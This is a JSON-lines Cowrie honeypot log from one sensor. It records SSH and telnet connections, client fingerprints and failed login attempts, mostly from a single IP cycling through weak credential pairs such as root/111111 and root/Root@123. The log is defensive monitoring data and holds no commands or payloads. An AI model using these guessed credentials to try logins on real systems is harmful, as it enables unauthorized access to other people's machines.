{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:21.255484Z","src_ip":"45.156.87.147","session":"5a9147ae23bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:21.336720Z","src_ip":"45.156.87.147","session":"5a9147ae23bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:21.580214Z","src_ip":"8.219.200.1","session":"72a5a85cc9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:21.587827Z","src_ip":"45.156.87.147","session":"5a9147ae23bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:22.675475Z","src_ip":"45.156.87.147","session":"5a9147ae23bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:22.819247Z","src_ip":"8.219.200.1","session":"72a5a85cc9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53800,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4fdc7238d1c","protocol":"telnet","message":"New connection: 172.81.62.90:53800 (159.203.135.109:23) [session: c4fdc7238d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:23.997766Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38188,"dst_ip":"10.17.0.5","dst_port":22,"session":"c14a95f32185","protocol":"ssh","message":"New connection: 45.156.87.147:38188 (10.17.0.5:22) [session: c14a95f32185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:27.039460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:27.042760Z","src_ip":"45.156.87.147","session":"c14a95f32185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:27.125728Z","src_ip":"45.156.87.147","session":"c14a95f32185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:27.378505Z","src_ip":"45.156.87.147","session":"c14a95f32185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:28.559618Z","src_ip":"45.156.87.147","session":"c14a95f32185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42426,"dst_ip":"10.17.0.5","dst_port":22,"session":"43411db06a15","protocol":"ssh","message":"New connection: 45.156.87.147:42426 (10.17.0.5:22) [session: 43411db06a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:32.829084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:32.833031Z","src_ip":"45.156.87.147","session":"43411db06a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:32.914751Z","src_ip":"45.156.87.147","session":"43411db06a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:33.166124Z","src_ip":"45.156.87.147","session":"43411db06a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:34.255193Z","src_ip":"45.156.87.147","session":"43411db06a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42432,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81a72bf0142","protocol":"ssh","message":"New connection: 45.156.87.147:42432 (10.17.0.5:22) [session: b81a72bf0142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:39.010035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:39.014645Z","src_ip":"45.156.87.147","session":"b81a72bf0142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:39.096219Z","src_ip":"45.156.87.147","session":"b81a72bf0142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:39.346950Z","src_ip":"45.156.87.147","session":"b81a72bf0142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:40.431556Z","src_ip":"45.156.87.147","session":"b81a72bf0142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46874,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae7773533d5","protocol":"ssh","message":"New connection: 45.156.87.147:46874 (10.17.0.5:22) [session: 2ae7773533d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:44.570757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:44.574049Z","src_ip":"45.156.87.147","session":"2ae7773533d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:44.656816Z","src_ip":"45.156.87.147","session":"2ae7773533d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:44.900025Z","src_ip":"45.156.87.147","session":"2ae7773533d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:46.083715Z","src_ip":"45.156.87.147","session":"2ae7773533d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33950,"dst_ip":"10.17.0.5","dst_port":22,"session":"659f9f7ad9db","protocol":"ssh","message":"New connection: 45.156.87.147:33950 (10.17.0.5:22) [session: 659f9f7ad9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:50.630039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:50.633115Z","src_ip":"45.156.87.147","session":"659f9f7ad9db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:50.714095Z","src_ip":"45.156.87.147","session":"659f9f7ad9db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"1234","message":"login attempt [nobody/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:50.974341Z","src_ip":"45.156.87.147","session":"659f9f7ad9db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:52.059992Z","src_ip":"45.156.87.147","session":"659f9f7ad9db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33962,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee191fa7c540","protocol":"ssh","message":"New connection: 45.156.87.147:33962 (10.17.0.5:22) [session: ee191fa7c540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:56.927850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:56.932415Z","src_ip":"45.156.87.147","session":"ee191fa7c540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:57.015098Z","src_ip":"45.156.87.147","session":"ee191fa7c540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"abc123","message":"login attempt [admin2/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:57.266137Z","src_ip":"45.156.87.147","session":"ee191fa7c540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:58.355231Z","src_ip":"45.156.87.147","session":"ee191fa7c540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":57940,"dst_ip":"159.203.135.109","dst_port":23,"session":"327b537e99de","protocol":"telnet","message":"New connection: 166.62.124.255:57940 (159.203.135.109:23) [session: 327b537e99de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:58.993076Z"}
{"eventid":"cowrie.session.closed","duration":36.30237889289856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:00.300013Z","src_ip":"172.81.62.90","session":"c4fdc7238d1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c47cc8f1af3","protocol":"ssh","message":"New connection: 45.156.87.147:50290 (10.17.0.5:22) [session: 7c47cc8f1af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:03.117374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:03.121373Z","src_ip":"45.156.87.147","session":"7c47cc8f1af3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:03.202272Z","src_ip":"45.156.87.147","session":"7c47cc8f1af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:03.464752Z","src_ip":"45.156.87.147","session":"7c47cc8f1af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:04.551252Z","src_ip":"45.156.87.147","session":"7c47cc8f1af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29346,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfe920ad15f7","protocol":"ssh","message":"New connection: 194.59.206.2:29346 (159.203.135.109:22) [session: dfe920ad15f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:22:05.393644Z"}
